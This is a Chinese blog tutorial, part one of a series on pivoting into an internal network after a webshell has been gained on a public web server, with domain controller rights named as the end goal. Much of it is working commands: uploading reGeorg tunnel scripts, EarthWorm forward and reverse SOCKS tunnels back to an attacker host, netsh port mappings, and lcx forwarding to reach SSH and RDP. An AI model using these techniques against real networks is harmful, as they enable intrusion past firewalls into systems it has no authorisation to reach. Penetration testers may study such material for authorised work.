内网(一):内网穿透的部分方法
0x01 渗透前
定义:渗透就是对已经拿到目标服务器的webshell,进行内网渗透并获取该内网的域控权限
域环境:因为内网中往往存在若干服务器,管理员难以对所有机器进行管理,因此便衍生出了域环境。管理员以一台主机作为域控制器新建一个域,将所有其他主机加入域中,以域控来操作其他主机。因为域控的高权限,导致了域控所在的主机的管理员账号密码,可以登录任意一台主机,所以内网渗透的最终目标,往往便是拿下域控的权限。
内网穿透
reGeorg结合proxychains代理链(HTTP)隧道
reGeorg可以通过建立HTTP隧道通过外网服务器访问内网,但是需要公网服务器开放了80端口。
-
根据公网服务器的搭建语言,上传不同类型的脚本(PHP、JSP等等)
-
访问脚本,查看是否上传成功
-
在攻击机中将本机1080端口的流量全部转发给指定的url
python reGeorgSocksProxy.py -p 1080 -u http://100.100.10.12/tunnel.nosocket.php 然后配置proxychains代理链的配置文件/etc/proxychains.conf ,将代理设置成本机的1080端口:socks5 127.0.0.1 1080 然后命令前面加上 proxychains即可。如:proxychains curl 192.168.10.19 所以我们流量的走向是:流量->本地1080端口->web服务器的80端口(通过我们上传的php文件进行流量转发)->内网服务器->web服务器的80端口->本地1080端口
EW(EarthWorm)结合proxychains代理链
EW:EW 是一套便携式的网络穿透工具,具有 SOCKS5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内,强烈推荐使用,跨平台,任何平台都可以轻松使用!
下载:https://github.com/idlefire/ew
内网环境如下:蚁剑获取位于公网的web服务器的权限,内网中存在着另外若干台主机,现在通过EW将公网服务器设为代理,访问内网服务器的信息
操作:
正向代理
目标客户端监听,我们服务端去连接
web服务器设置
Linux
ew_for_linux64 -s ssocksd -l 1080 #监听本地的1080端口
Windows
ew_for_Win.exe -s ssocksd -l 1080 #监听本地的1080端口
攻击机设置
然后命令前面加上 proxychains即可。如:proxychains curl 192.168.10.19
Windows系统,直接浏览器中设置代理为 100.100.10.12的1080端口,或者利用 Proxifier 、sockscap64 设置全局代理
反向代理
反向代理就是我们服务端监听,目标客户端连接我们的服务端,这就叫做反向代理。
web服务器设置
如果是Linux系统:
ew_for_linux64 -s rssocks -d 100.100.10.13 -e 8888 #将本机的流量全部转发到100.100.10.13的8888端口
如果是Windows系统:
ew_for_Win.exe -s rssocks -d 100.100.10.13 -e 8888 #将本机的流量全部转发到100.100.10.13的8888端口
主机设置
如果是Linux系统:
./ew_for_linux64 -s rcsocks -l 1080 -e 8888 #将外网监听的的8888端口的流量都转发给1080端口,这里8888端口只是用于传输流量
然后配置proxychains代理链的配置文件,将代理设置成 127.0.0.1的1080端口:socks5 127.0.0.1 1080
然后命令前面加上 proxychains即可。如:proxychains curl 192.168.10.19
如果是Windows系统
ew_for_Win.exe -s rcsocks -l 1080 -e 8888 #将本机外网监听的8888端口的流量都转发给1080端口,这里8888端口只是用于传输流量
然后浏览器中设置代理为 100.100.10.12的1080端口,或者利用 Proxifier 、sockscap64 设置全局代理
Netsh实现端口转发
Netsh 是Windows自带的命令行脚本工具,它可以建立端口映射。现在有这么一个环境,内网中有一台Web服务器,但是我们处于公网,所以无法访问该服务器。于是,我们可以在中间Web服务器上利用Netsh实现一个端口映射,只要我们访问中间Web服务器公网地址的指定端口,就相当于我们访问内网Web服务器的80端口。
netsh interface portproxy add v4tov4 listenaddress=100.100.10.11 listenport=8080 connectaddress=192.168.10.19 connectport=80 #新建一个端口映射,将100.100.10.11的8080端口和192.168.10.19的80端口做个映射
netsh interface portproxy show all #查看端口映射
netsh interface portproxy delete v4tov4 listenaddress=100.100.10.11 listenport=8080 #删除端口映射
相当于是吧内网中机器的80端口的服务映射到外网web服务器上的8080端口了
LCX实现本地端口转发
假如拿到了一台主机的账号、密码和权限,现在想远程SSH连接该主机,该主机的22端口只对内开放,不对外开放。所以,我们可以利用lcx进行本地端口的转发。将2222的流量转到22端口上。
Linux
lck -m1 -p1 2222 -h2 127.0.0.1 -p2 22
Windows
lcx.exe -tran 33389 127.0.0.1 3389
ssh直接连接2222端口/远程桌面连接33389端口
本文作者:vitara
本文链接:https://www.cnblogs.com/vitara/p/17219931.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步